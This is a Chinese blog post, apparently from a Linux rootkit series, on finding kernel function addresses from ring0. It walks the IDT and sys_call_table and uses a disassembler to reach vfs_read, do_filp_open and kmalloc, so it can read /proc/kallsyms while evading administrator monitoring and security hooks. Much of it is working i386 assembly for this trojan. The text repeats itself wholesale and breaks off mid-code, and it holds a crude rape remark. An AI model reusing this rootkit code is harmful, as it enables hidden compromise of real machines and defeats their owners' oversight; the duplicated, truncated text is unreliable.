rootkit for linux 11.“寻找入口点”的改进方法
2008-11-18 13:08
405 查看
昨天看了篇文章《Linux on-the-fly kernel patching without LKM 》
作者提供了一种 ring3 进 ring0 的方法,思路很不错。我们也可以用那篇文章里提供的方法进入 ring0。
我们现在用的是溢出,溢出的通用性差,但只需要普通用户权限即可。
作者的方法通用性好,但需要root权限。
第2篇文章“寻找入口点”用的是系统调用读/proc/kallsyms 的方法。当时我就觉得这方法很有必要改进一下。因为太不靠谱了。管理员通过对/proc/kallsyms的监控完全可以知道木马的行动(其实呢,没有哪个管理员真的会这样做)。反正无论管理员有没有监控,今天我们的这个方法都是能绕过常规的监控的。
网上有一种方法是获得 sys_call_table 的。然后一般是获得 sys_call_table 后就强制修改它,把某个sys_call重定向。这种方法是不大好的。我们千万不要使用。
我们的第一步也是获得 sys_call_table 。跟网上的方法一样。先 sidt ,找到 0x80 号中断的服务例程的偏移。然后寻找 call xx(%xx, x, %xx)。这样的指令。找到了那个指令,也就找到了 sys_call_table 。
那么找到 sys_call_table 后我们用什么方法来绕过 security_xxx 函数呢?
我们先看打开文件。
为了避免管理员在ring3下看到我们的行动,我们的打开的文件不能跟进程关联起来。do_filp_open就函数能满足我们的要求了,不需要再找更底层的。我们来看看怎么获得 filp_open。
我们现在只知道 sys_open 函数的地址,是从 sys_call_table 里得知的。
asmlinkage long sys_open(const char __user *filename, int flags, int mode)
{
long ret;
if (force_o_largefile())
flags |= O_LARGEFILE;
ret = do_sys_open(AT_FDCWD, filename, flags, mode);
/* avoid REGPARM breakage on x86: */
prevent_tail_call(ret);
return ret;
}
用大杀器xde获得 do_sys_open 的地址不是什么难事。
long do_sys_open(int dfd, const char __user *filename, int flags, int mode)
{
char *tmp = getname(filename);
int fd = PTR_ERR(tmp);
if (!IS_ERR(tmp)) {
fd = get_unused_fd();
if (fd >= 0) {
struct file *f = do_filp_open(dfd, tmp, flags, mode);
if (IS_ERR(f)) {
put_unused_fd(fd);
fd = PTR_ERR(f);
} else {
fsnotify_open(f->f_dentry);
fd_install(fd, f);
}
}
putname(tmp);
}
return fd;
}
IS_ERR(tmp)展开后就是 cmp $0xfffff000,%xx; ja xxx。判断返回值是否为错误号的一个宏。
if (fd >= 0) {展开后是 cmp ...; js 。
所以用xde寻找第一个js xxx。然后不用跳转,碰到的第一个call就是call do_filp_open了。
好了,文件打开的问题解决了。我们再来看看读文件。
我们说,在vfs层读取文件,方法从底层到高层有不少,我想了很久,觉得用 file->f_ops->read。这样,我们需要的偏移量就比较少。要知道,在这种手无寸铁的情况下,只知道有限的函数地址的情况下,我们没得选择。好比生活就像强奸一样。
file->f_ops->read 已经越过了 security_xxx 函数。如果管理员没有用第三方软件的话,这个函数是没有hook的。xbfs也是hook到这里而已。
我们首先要找到 f_ops 。
asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;
file = fget_light(fd, &fput_needed);
if (file) {
loff_t pos = file_pos_read(file);
ret = vfs_read(file, buf, count, &pos);
file_pos_write(file, pos);
fput_light(file, fput_needed);
}
return ret;
}
还是比较好办的。用xde找je xxx。找到之后的第一个 call 就是 call vfs_read。
或者偷懒,直接找第二个 call 也行。这函数反正比较简单,没啥事。
ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
{
ssize_t ret;
if (!(file->f_mode & FMODE_READ))
return -EBADF;
if (!file->f_op || (!file->f_op->read && !file->f_op->aio_read))
return -EINVAL;
if (unlikely(!access_ok(VERIFY_WRITE, buf, count)))
return -EFAULT;
.....
这个也好办。搜第一个 jne xxx。顺着跳转。然后出现的前两个 movl 0xxx(%xx),%xx 必然是在取 f_op 和 f_op->read 。因为c语言肯定会按顺序来做逻辑判断的。我在程序里偷懒了,反正到出问题的时候再改。
好了。现在我们的偏移都搞到了。可以读指定的文件了。
我们打算把全部符号表读到缓冲区里(大概650k+)。然后用自己的函数找。
但是这么大的空间我们上哪找?我们必须申请空间。但申请空间的函数 kmalloc 的地址我们现在还不知道,咋的办呢?
这时候又要靠我们的好哥们xde了。我们都知道 /proc/kallsyms 是一个/proc上的接口,代码里使用seq机制实现的(seq机制在《linux设备驱动程序》里有详细介绍),那它的read 必然指向 seq_read。
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
struct seq_file *m = (struct seq_file *)file->private_data;
size_t copied = 0;
loff_t pos;
size_t n;
void *p;
int err = 0;
mutex_lock(&m->lock);
/*
* seq_file->op->..m_start/m_stop/m_next may do special actions
* or optimisations based on the file->f_version, so we want to
* pass the file->f_version to those methods.
*
* seq_file->version is just copy of f_version, and seq_file
* methods can treat it simply as file version.
* It is copied in first and copied out after all operations.
* It is convenient to have it as part of structure to avoid the
* need of passing another argument to all the seq_file methods.
*/
m->version = file->f_version;
/* grab buffer if we didn't have one */
if (!m->buf) {
m->buf = kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);
if (!m->buf)
goto Enomem;
}
看到没。seq_read 里刚好有一个 kmalloc。吗的,真是一举三得啊。
那好办了,开动xde,找 je xxx。顺着跳转。找到第一个 call 就是了。
但是呢,这个 kmalloc 还有点不一样。kmalloc(m->size = PAGE_SIZE, ...);
size参数,gcc肯定把它当成一个常量来看。如果size参数是常量,那么根据 kmalloc 的定义,是这样展开的:
static inline void *kmalloc(size_t size, gfp_t flags)
{
if (__builtin_constant_p(size)) {
int i = 0;
#define CACHE(x) /
if (size <= x) /
goto found; /
else /
i++;
#include "kmalloc_sizes.h"
#undef CACHE
{
extern void __you_cannot_kmalloc_that_much(void);
__you_cannot_kmalloc_that_much();
}
found:
return kmem_cache_alloc((flags & GFP_DMA) ?
malloc_sizes[i].cs_dmacachep :
malloc_sizes[i].cs_cachep, flags);
}
return __kmalloc(size, flags);
}
[malloc_sizes.h]
#if (PAGE_SIZE == 4096)
CACHE(32)
#endif
CACHE(64)
#if L1_CACHE_BYTES < 64
CACHE(96)
#endif
CACHE(128)
#if L1_CACHE_BYTES < 128
CACHE(192)
#endif
CACHE(256)
CACHE(512)
CACHE(1024)
CACHE(2048)
CACHE(4096)
CACHE(8192)
CACHE(16384)
CACHE(32768)
CACHE(65536)
CACHE(131072)
#if (NR_CPUS > 512) || (MAX_NUMNODES > 256) || !defined(CONFIG_MMU)
CACHE(262144)
#endif
#ifndef CONFIG_MMU
CACHE(524288)
CACHE(1048576)
#ifdef CONFIG_LARGE_ALLOCS
CACHE(2097152)
CACHE(4194304)
CACHE(8388608)
CACHE(16777216)
CACHE(33554432)
#endif /* CONFIG_LARGE_ALLOCS */
#endif /* CONFIG_MMU */
/* Size description struct for general caches. */
struct cache_sizes {
size_t cs_size;
kmem_cache_t *cs_cachep;
kmem_cache_t *cs_dmacachep;
};
extern struct cache_sizes malloc_sizes[];
linux的代码真是艺术品啊。能写出这样的代码,真的不是等闲之辈。。
如果size是常量,kmalloc就会返回一个大小为 2 的整数次幂的页面。因为 slab 背后的算法是“伙伴系统”。
对啊,这里要注意的是:内核编译选项中默认的分配算法是 slab,如果内核编译选项没有选择 slab 作为分配算法,那 kmalloc 就又不一样了,我们的代码就不支持了。我也没考虑这种情况。
kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);展开之后就是:
movl $0x1000,0x4(%esi)
mov $0xd0,%edx
mov $0xfffffff4,%edi
mov 0xc034ceb8,%eax
call 0xc016bf10
第一行,m->size = PAGE_SIZE。
第二行,movl $GFP_KERNEL, %edx
第三行,设置返回值,我们不管
第四行,就是movl malloc_sizes[i].cs_cachep, %eax
第五行,call kmem_cache_alloc。
这里 malloc_sizes[i].cs_size = 0x1000。因为seq_read分配的是 4K大小。我们要1M。因为内核符号表就 650K+ 了。总不能给 512K吧。我们要 1MB 也不过分。现在的机子内存动辄上G,我们拿走一两m,管理员也不会觉得看a片会变卡一点。
我们只要把malloc_sizes[i]的 i 增加一点就行了。
《Linux on-the-fly kernel patching without LKM 》这篇的作者也提出了一种方法找 kmalloc 。我觉得他的方法不好,他自己也说那个方法的成功率是 80 % 。他的方法是 2.2 ~ 2.4 版本适用的,如果有人要在2.6用那个方法,必须修改一下。2.4的内核的gcc编译选择,还没有把fastcall作为默认的函数调用约定。所以调用函数是 push xxx; push xxx; call xxx;
而在2.6则是 movl xxx, %eax; movl xxx, %edx; call xxx。
好了,我们现在达到目的了,可以把/proc/kallsyms 的内容读出来了。
今天也重写了 ksyms_lookup 的代码。觉得以前写的代码真烂,还有bug。不过这几天写熟了,就好了一点。
贴代码贴代码
读 idt
// set KERNEL_DS
movl %esp, %eax
andl $0xffffe000, %eax
movl 0x18(%eax), %ebx
movl %ebx, 0x1c(%esp)
movl $0xffffffff, 0x18(%eax)
1: GET_ADDR(idt_ptr, %ebx)
sidt (%ebx)
movl 2(%ebx), %ebp
#ifdef _KSYM_DEBUG_
movl %ebp, 4(%esp)
DPRINT("<3>idt at%lx/n")
#endif
movw (0x80 * 8 + 6)(%ebp), %ax
shl $16, %eax
movw (0x80 * 8)(%ebp), %ax
movl %eax, %ebp
#ifdef _KSYM_DEBUG_
movl %eax, 4(%esp)
DPRINT("<3>int 0x80 sr at %lx/n")
#endif
找 vfs_read
movl %ebp, %esi
leal 0x100(%esi), %edi
1: GET_ADDR(struct_dism, %edx)
movl %esi, %eax
call xde_dism
testl %eax, %eax
jz loader_out
movl %eax, %ebp
cmpb $0xff, dism_opcode(%edx)
jz 2f
addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
2: movl 3(%esi), %ebp
#ifdef _KSYM_DEBUG_
movl %ebp, 4(%esp)
DPRINT("<3>sys_call_table at %lx/n")
#endif
movl (5 * 4)(%ebp), %ebx // __NR_open = 5
SET_VAL32(sys_open, %ebx)
movl (3 * 4)(%ebp), %ebp // __NR_read = 3
#ifdef _KSYM_DEBUG_
GET_VAL32(sys_open, %eax)
movl %eax, 8(%esp)
movl %ebp, 4(%esp)
DPRINT("<3>sys_read at %lx, sys_open at %lx/n")
#endif
movl $2, %ebx
movl %ebp, %esi
leal 0x100(%esi), %edi
1: GET_ADDR(struct_dism, %edx)
movl %esi, %eax
call xde_dism
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %ebp
cmpb $0xe8, dism_opcode(%edx)
jnz 3f
decl %ebx
jz 2f
3:
addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
2: movl 1(%esi), %ebp
leal 5(%esi), %esi
addl %esi, %ebp
#ifdef _KSYM_DEBUG_
movl %ebp, 4(%esp)
DPRINT("<3>vfs_read at %lx/n")
#endif
找 f_op, read 的偏移
xorb %bl, %bl
movl %ebp, %esi
leal 0x100(%esi), %edi
1: GET_ADDR(struct_dism, %edx)
movl %esi, %eax
call xde_dism
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %ebp
cmpb $0x8b, dism_opcode(%edx)
jnz 4f
testb $1, %bl
jz 3f
movzbl 2(%esi), %ecx
testb $2, %bl
jnz 5f
SET_VAL32(file.f_op, %ecx)
orb $2, %bl
jmp 3f
5: SET_VAL32(file_operations.read, %ecx)
jmp 2f
4: cmpb $0xc3, dism_opcode(%edx)
jnz 3f
orb $1, %bl
3: addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
2:
#ifdef _KSYM_DEBUG_
GET_VAL32(file.f_op, %eax)
movl %eax, 4(%esp)
GET_VAL32(file_operations.read, %eax)
movl %eax, 8(%esp)
DPRINT("<3>file.f_op %lx, file_operations.read %lx/n")
#endif
找 do_filp_open
GET_VAL32(sys_open, %esi)
leal 0x100(%esi), %edi
1: GET_ADDR(struct_dism, %edx)
movl %esi, %eax
call xde_dism
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %ebp
cmpb $0xe8, dism_opcode(%edx)
jz 3f
2: addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
3:
movl 1(%esi), %ebp
leal 5(%esi), %esi
addl %esi, %ebp
#ifdef _KSYM_DEBUG_
movl %ebp, 4(%esp)
DPRINT("<3>do_sys_open at %lx/n")
#endif
xorb %bl, %bl
movl %ebp, %esi
leal 0x100(%esi), %edi
1: GET_ADDR(struct_dism, %edx)
movl %esi, %eax
call xde_dism
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %ebp
cmpb $0xe8, dism_opcode(%edx)
jnz 4f
testb $1, %bl
jz 2f
jmp 3f
4: cmpw $0x7f78, (%esi)
jnz 2f
orb $1, %bl
2: addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
3:
movl 1(%esi), %ebp
leal 5(%esi), %esi
addl %esi, %ebp
SET_VAL32(do_filp_open, %ebp)
#ifdef _KSYM_DEBUG_
GET_VAL32(do_filp_open, %eax)
movl %eax, 4(%esp)
DPRINT("<3>do_filp_open at %lx/n")
#endif
打开 /proc/kallsyms
// file = do_filp_open(AT_FDCWD, "/proc/kallsyms", O_RDONLY, 0);
GET_VAL32(do_filp_open, %ebp)
movl $-100, %eax
GET_STR("/proc/kallsyms", %edx)
xorl %ecx, %ecx
movl $0, (%esp)
call *%ebp
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %esi
movl %esi, 0x18(%esp)
GET_STRUCT_VAL32(%esi, file.f_op, %ebx)
GET_STRUCT_VAL32(%ebx, file_operations.read, %ebp)
movl %ebp, 0x14(%esp)
#ifdef _KSYM_DEBUG_
movl %ebp, 4(%esp)
DPRINT("<3>file opened, file->f_op->read at %lx/n")
#endif
找 kmalloc ,分配 ksyms 的内存
xorb %bl, %bl
movl %ebp, %esi
leal 0x100(%esi), %edi
1: movl %esi, %eax
GET_ADDR(struct_dism, %edx)
call xde_dism
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %ebp
testb $1, %bl
jnz 3f
cmpw $0x840f, (%esi)
jnz 2f
orb $1, %bl
movl 2(%esi), %edx
leal 6(%esi), %esi
addl %edx, %esi
leal 0x100(%esi), %edi
jmp 1b
3: cmpb $0xe8, dism_opcode(%edx)
jz 4f
cmpb $0xa1, dism_opcode(%edx)
jnz 2f
movl 1(%esi), %edx
movl %edx, (%esp)
2: addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
4:
movl (%esp), %eax
movl (8 + 7 * 12 + 4)(%eax), %edi
movl 1(%esi), %ebp
leal 5(%esi), %esi
addl %esi, %ebp
#ifdef _KSYM_DEBUG_
movl %edi, 8(%esp)
movl %ebp, 4(%esp)
DPRINT("<3>kmem_cache_alloc at %lx, param 1 is %lx/n")
#endif
// buf = kmem_cache_alloc(malloc_sizes[1MB].cs_cachep, GFP_KERNEL | __GFP_ZERO);
movl %edi, %eax
movl $0x80d0, %edx
call *%ebp
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %esi
SET_VAL32(ksyms, %esi)
#ifdef _KSYM_DEBUG_
movl %esi, 4(%esp)
DPRINT("<3>kmem_cache_alloc 1MB for kallsyms at %lx ok!/n")
#endif
读 /proc/kallsyms 到缓冲区
#define posl 0x4
#define posh 0x8
movl $0, posl(%esp)
movl $0, posh(%esp)
// file->f_op->read(file, buf, 1024 * 1024 * 1, &pos);
1: movl 0x18(%esp), %eax
movl 0x14(%esp), %ebp
leal posl(%esp), %ebx
movl %ebx, (%esp)
movl %esi, %edx
movl $(1024 * 1024), %ecx
call *%ebp
testl %eax, %eax
jz 3f
addl %eax, %esi
jmp 1b
3:
#undef posh
#undef posl
#ifdef _KSYM_DEBUG_
movl %esi, 4(%esp)
DPRINT("<3>read kallsym ok! content: %.10s .../n")
#endif
重写的 ksym_lookup 代码,解决了以前的 bug:
// fastcall unsigned long ksym_lookup(char *name, int len)
// @name: name of the function to find
// @len: len of the name
// return: addr of the function
EXPORT_LABEL(ksym_lookup)
PUSH_ALL
subl $0x14, %esp
movl $0, 0xc(%esp)
movl %eax, (%esp)
movl %edx, 4(%esp)
#ifndef _TEST_
// saved = get_fs(); set_fs(KERNEL_DS);
movl %esp, %eax
andl $0xffffe000, %eax
movl 0x18(%eax), %ebx
movl %ebx, 0x10(%esp)
movl $0xffffffff, 0x18(%eax)
#endif
#ifndef _TEST_
GET_VAL32(ksyms, %esi)
#else
movl %ecx, %esi
#endif
ksym_lookup_getline:
movl %esi, %edi
1: cmpb $0, (%esi)
jnz 4f
movl $-1, 0xc(%esp)
jmp ksym_lookup_out
4: cmpb $'/n', (%esi)
jz 2f
incl %esi
jmp 1b
2:
movl %edi, %edx
movl $2, %eax
1: cmpb $' ', (%edi)
jnz 2f
decl %eax
jz 3f
2: incl %edi
cmpl %esi, %edi
jl 1b
movl $-2, 0xc(%esp)
jmp ksym_lookup_out
3:
leal 1(%edi), %edi
leal 1(%esi), %ebp
movl (%esp), %esi
movl 4(%esp), %ecx
cld; rep cmpsb
je 1f
jmp ksym_lookup_next
1:
cmpb $'_', (%edi)
je ksym_lookup_next
cmpb $'0', (%edi)
jl 3f
cmpb $'9', (%edi)
jle ksym_lookup_next
cmpb $'a', (%edi)
jl 3f
cmpb $'z', (%edi)
jle ksym_lookup_next
3:
xorl %eax, %eax
movl $9, %esi
2: movb (%edx), %bl
cmpb $' ', %bl
jz 3f
cmpb $'a', %bl
jb 4f
cmpb $'f', %bl
jna 6f
movl $-4, 0xc(%esp)
jmp ksym_lookup_out
6: subb $('a' - 10), %bl
jmp 5f
4: cmpb $'0', %bl
jnb 7f
movl $-5, 0xc(%esp)
jmp ksym_lookup_out
7: cmpb $'9', %bl
jna 8f
movl $-6, 0xc(%esp)
jmp ksym_lookup_out
8: subb $'0', %bl
5: shl $4, %eax
movb %al, %cl
andb $0xF0, %cl
orb %cl, %bl
movb %bl, %al
incl %edx
decl %esi
jnz 9f
movl $-7, 0xc(%esp)
jmp ksym_lookup_out
9: jmp 2b
ksym_lookup_next:
movl %ebp, %esi
jmp ksym_lookup_getline
3:
movl %eax, 0xc(%esp)
ksym_lookup_out:
#ifndef _TEST_
movl %esp, %ebx
andl $0xffffe000, %ebx
movl 0x10(%esp), %ecx
movl %ecx, 0x18(%ebx)
#endif
movl 0xc(%esp), %eax
addl $0x14, %esp
POP_ALL
ret
作者提供了一种 ring3 进 ring0 的方法,思路很不错。我们也可以用那篇文章里提供的方法进入 ring0。
我们现在用的是溢出,溢出的通用性差,但只需要普通用户权限即可。
作者的方法通用性好,但需要root权限。
第2篇文章“寻找入口点”用的是系统调用读/proc/kallsyms 的方法。当时我就觉得这方法很有必要改进一下。因为太不靠谱了。管理员通过对/proc/kallsyms的监控完全可以知道木马的行动(其实呢,没有哪个管理员真的会这样做)。反正无论管理员有没有监控,今天我们的这个方法都是能绕过常规的监控的。
网上有一种方法是获得 sys_call_table 的。然后一般是获得 sys_call_table 后就强制修改它,把某个sys_call重定向。这种方法是不大好的。我们千万不要使用。
我们的第一步也是获得 sys_call_table 。跟网上的方法一样。先 sidt ,找到 0x80 号中断的服务例程的偏移。然后寻找 call xx(%xx, x, %xx)。这样的指令。找到了那个指令,也就找到了 sys_call_table 。
那么找到 sys_call_table 后我们用什么方法来绕过 security_xxx 函数呢?
我们先看打开文件。
为了避免管理员在ring3下看到我们的行动,我们的打开的文件不能跟进程关联起来。do_filp_open就函数能满足我们的要求了,不需要再找更底层的。我们来看看怎么获得 filp_open。
我们现在只知道 sys_open 函数的地址,是从 sys_call_table 里得知的。
asmlinkage long sys_open(const char __user *filename, int flags, int mode)
{
long ret;
if (force_o_largefile())
flags |= O_LARGEFILE;
ret = do_sys_open(AT_FDCWD, filename, flags, mode);
/* avoid REGPARM breakage on x86: */
prevent_tail_call(ret);
return ret;
}
用大杀器xde获得 do_sys_open 的地址不是什么难事。
long do_sys_open(int dfd, const char __user *filename, int flags, int mode)
{
char *tmp = getname(filename);
int fd = PTR_ERR(tmp);
if (!IS_ERR(tmp)) {
fd = get_unused_fd();
if (fd >= 0) {
struct file *f = do_filp_open(dfd, tmp, flags, mode);
if (IS_ERR(f)) {
put_unused_fd(fd);
fd = PTR_ERR(f);
} else {
fsnotify_open(f->f_dentry);
fd_install(fd, f);
}
}
putname(tmp);
}
return fd;
}
IS_ERR(tmp)展开后就是 cmp $0xfffff000,%xx; ja xxx。判断返回值是否为错误号的一个宏。
if (fd >= 0) {展开后是 cmp ...; js 。
所以用xde寻找第一个js xxx。然后不用跳转,碰到的第一个call就是call do_filp_open了。
好了,文件打开的问题解决了。我们再来看看读文件。
我们说,在vfs层读取文件,方法从底层到高层有不少,我想了很久,觉得用 file->f_ops->read。这样,我们需要的偏移量就比较少。要知道,在这种手无寸铁的情况下,只知道有限的函数地址的情况下,我们没得选择。好比生活就像强奸一样。
file->f_ops->read 已经越过了 security_xxx 函数。如果管理员没有用第三方软件的话,这个函数是没有hook的。xbfs也是hook到这里而已。
我们首先要找到 f_ops 。
asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;
file = fget_light(fd, &fput_needed);
if (file) {
loff_t pos = file_pos_read(file);
ret = vfs_read(file, buf, count, &pos);
file_pos_write(file, pos);
fput_light(file, fput_needed);
}
return ret;
}
还是比较好办的。用xde找je xxx。找到之后的第一个 call 就是 call vfs_read。
或者偷懒,直接找第二个 call 也行。这函数反正比较简单,没啥事。
ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
{
ssize_t ret;
if (!(file->f_mode & FMODE_READ))
return -EBADF;
if (!file->f_op || (!file->f_op->read && !file->f_op->aio_read))
return -EINVAL;
if (unlikely(!access_ok(VERIFY_WRITE, buf, count)))
return -EFAULT;
.....
这个也好办。搜第一个 jne xxx。顺着跳转。然后出现的前两个 movl 0xxx(%xx),%xx 必然是在取 f_op 和 f_op->read 。因为c语言肯定会按顺序来做逻辑判断的。我在程序里偷懒了,反正到出问题的时候再改。
好了。现在我们的偏移都搞到了。可以读指定的文件了。
我们打算把全部符号表读到缓冲区里(大概650k+)。然后用自己的函数找。
但是这么大的空间我们上哪找?我们必须申请空间。但申请空间的函数 kmalloc 的地址我们现在还不知道,咋的办呢?
这时候又要靠我们的好哥们xde了。我们都知道 /proc/kallsyms 是一个/proc上的接口,代码里使用seq机制实现的(seq机制在《linux设备驱动程序》里有详细介绍),那它的read 必然指向 seq_read。
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
struct seq_file *m = (struct seq_file *)file->private_data;
size_t copied = 0;
loff_t pos;
size_t n;
void *p;
int err = 0;
mutex_lock(&m->lock);
/*
* seq_file->op->..m_start/m_stop/m_next may do special actions
* or optimisations based on the file->f_version, so we want to
* pass the file->f_version to those methods.
*
* seq_file->version is just copy of f_version, and seq_file
* methods can treat it simply as file version.
* It is copied in first and copied out after all operations.
* It is convenient to have it as part of structure to avoid the
* need of passing another argument to all the seq_file methods.
*/
m->version = file->f_version;
/* grab buffer if we didn't have one */
if (!m->buf) {
m->buf = kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);
if (!m->buf)
goto Enomem;
}
看到没。seq_read 里刚好有一个 kmalloc。吗的,真是一举三得啊。
那好办了,开动xde,找 je xxx。顺着跳转。找到第一个 call 就是了。
但是呢,这个 kmalloc 还有点不一样。kmalloc(m->size = PAGE_SIZE, ...);
size参数,gcc肯定把它当成一个常量来看。如果size参数是常量,那么根据 kmalloc 的定义,是这样展开的:
static inline void *kmalloc(size_t size, gfp_t flags)
{
if (__builtin_constant_p(size)) {
int i = 0;
#define CACHE(x) /
if (size <= x) /
goto found; /
else /
i++;
#include "kmalloc_sizes.h"
#undef CACHE
{
extern void __you_cannot_kmalloc_that_much(void);
__you_cannot_kmalloc_that_much();
}
found:
return kmem_cache_alloc((flags & GFP_DMA) ?
malloc_sizes[i].cs_dmacachep :
malloc_sizes[i].cs_cachep, flags);
}
return __kmalloc(size, flags);
}
[malloc_sizes.h]
#if (PAGE_SIZE == 4096)
CACHE(32)
#endif
CACHE(64)
#if L1_CACHE_BYTES < 64
CACHE(96)
#endif
CACHE(128)
#if L1_CACHE_BYTES < 128
CACHE(192)
#endif
CACHE(256)
CACHE(512)
CACHE(1024)
CACHE(2048)
CACHE(4096)
CACHE(8192)
CACHE(16384)
CACHE(32768)
CACHE(65536)
CACHE(131072)
#if (NR_CPUS > 512) || (MAX_NUMNODES > 256) || !defined(CONFIG_MMU)
CACHE(262144)
#endif
#ifndef CONFIG_MMU
CACHE(524288)
CACHE(1048576)
#ifdef CONFIG_LARGE_ALLOCS
CACHE(2097152)
CACHE(4194304)
CACHE(8388608)
CACHE(16777216)
CACHE(33554432)
#endif /* CONFIG_LARGE_ALLOCS */
#endif /* CONFIG_MMU */
/* Size description struct for general caches. */
struct cache_sizes {
size_t cs_size;
kmem_cache_t *cs_cachep;
kmem_cache_t *cs_dmacachep;
};
extern struct cache_sizes malloc_sizes[];
linux的代码真是艺术品啊。能写出这样的代码,真的不是等闲之辈。。
如果size是常量,kmalloc就会返回一个大小为 2 的整数次幂的页面。因为 slab 背后的算法是“伙伴系统”。
对啊,这里要注意的是:内核编译选项中默认的分配算法是 slab,如果内核编译选项没有选择 slab 作为分配算法,那 kmalloc 就又不一样了,我们的代码就不支持了。我也没考虑这种情况。
kmalloc(m->size = PAGE_SIZE, GFP_KERNEL);展开之后就是:
movl $0x1000,0x4(%esi)
mov $0xd0,%edx
mov $0xfffffff4,%edi
mov 0xc034ceb8,%eax
call 0xc016bf10
第一行,m->size = PAGE_SIZE。
第二行,movl $GFP_KERNEL, %edx
第三行,设置返回值,我们不管
第四行,就是movl malloc_sizes[i].cs_cachep, %eax
第五行,call kmem_cache_alloc。
这里 malloc_sizes[i].cs_size = 0x1000。因为seq_read分配的是 4K大小。我们要1M。因为内核符号表就 650K+ 了。总不能给 512K吧。我们要 1MB 也不过分。现在的机子内存动辄上G,我们拿走一两m,管理员也不会觉得看a片会变卡一点。
我们只要把malloc_sizes[i]的 i 增加一点就行了。
《Linux on-the-fly kernel patching without LKM 》这篇的作者也提出了一种方法找 kmalloc 。我觉得他的方法不好,他自己也说那个方法的成功率是 80 % 。他的方法是 2.2 ~ 2.4 版本适用的,如果有人要在2.6用那个方法,必须修改一下。2.4的内核的gcc编译选择,还没有把fastcall作为默认的函数调用约定。所以调用函数是 push xxx; push xxx; call xxx;
而在2.6则是 movl xxx, %eax; movl xxx, %edx; call xxx。
好了,我们现在达到目的了,可以把/proc/kallsyms 的内容读出来了。
今天也重写了 ksyms_lookup 的代码。觉得以前写的代码真烂,还有bug。不过这几天写熟了,就好了一点。
贴代码贴代码
读 idt
// set KERNEL_DS
movl %esp, %eax
andl $0xffffe000, %eax
movl 0x18(%eax), %ebx
movl %ebx, 0x1c(%esp)
movl $0xffffffff, 0x18(%eax)
1: GET_ADDR(idt_ptr, %ebx)
sidt (%ebx)
movl 2(%ebx), %ebp
#ifdef _KSYM_DEBUG_
movl %ebp, 4(%esp)
DPRINT("<3>idt at%lx/n")
#endif
movw (0x80 * 8 + 6)(%ebp), %ax
shl $16, %eax
movw (0x80 * 8)(%ebp), %ax
movl %eax, %ebp
#ifdef _KSYM_DEBUG_
movl %eax, 4(%esp)
DPRINT("<3>int 0x80 sr at %lx/n")
#endif
找 vfs_read
movl %ebp, %esi
leal 0x100(%esi), %edi
1: GET_ADDR(struct_dism, %edx)
movl %esi, %eax
call xde_dism
testl %eax, %eax
jz loader_out
movl %eax, %ebp
cmpb $0xff, dism_opcode(%edx)
jz 2f
addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
2: movl 3(%esi), %ebp
#ifdef _KSYM_DEBUG_
movl %ebp, 4(%esp)
DPRINT("<3>sys_call_table at %lx/n")
#endif
movl (5 * 4)(%ebp), %ebx // __NR_open = 5
SET_VAL32(sys_open, %ebx)
movl (3 * 4)(%ebp), %ebp // __NR_read = 3
#ifdef _KSYM_DEBUG_
GET_VAL32(sys_open, %eax)
movl %eax, 8(%esp)
movl %ebp, 4(%esp)
DPRINT("<3>sys_read at %lx, sys_open at %lx/n")
#endif
movl $2, %ebx
movl %ebp, %esi
leal 0x100(%esi), %edi
1: GET_ADDR(struct_dism, %edx)
movl %esi, %eax
call xde_dism
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %ebp
cmpb $0xe8, dism_opcode(%edx)
jnz 3f
decl %ebx
jz 2f
3:
addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
2: movl 1(%esi), %ebp
leal 5(%esi), %esi
addl %esi, %ebp
#ifdef _KSYM_DEBUG_
movl %ebp, 4(%esp)
DPRINT("<3>vfs_read at %lx/n")
#endif
找 f_op, read 的偏移
xorb %bl, %bl
movl %ebp, %esi
leal 0x100(%esi), %edi
1: GET_ADDR(struct_dism, %edx)
movl %esi, %eax
call xde_dism
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %ebp
cmpb $0x8b, dism_opcode(%edx)
jnz 4f
testb $1, %bl
jz 3f
movzbl 2(%esi), %ecx
testb $2, %bl
jnz 5f
SET_VAL32(file.f_op, %ecx)
orb $2, %bl
jmp 3f
5: SET_VAL32(file_operations.read, %ecx)
jmp 2f
4: cmpb $0xc3, dism_opcode(%edx)
jnz 3f
orb $1, %bl
3: addl %ebp, %esi
cmpl %edi, %esi
jl 1b
jmp ksyms_init_out_failed
2:
#ifdef _KSYM_DEBUG_
GET_VAL32(file.f_op, %eax)
movl %eax, 4(%esp)
GET_VAL32(file_operations.read, %eax)
movl %eax, 8(%esp)
DPRINT("<3>file.f_op %lx, file_operations.read %lx/n")
#endif
找 do_filp_open
GET_VAL32(sys_open, %esi)
leal 0x100(%esi), %edi
1: GET_ADDR(struct_dism, %edx)
movl %esi, %eax
call xde_dism
testl %eax, %eax
jz ksyms_init_out_failed
movl %eax, %ebp
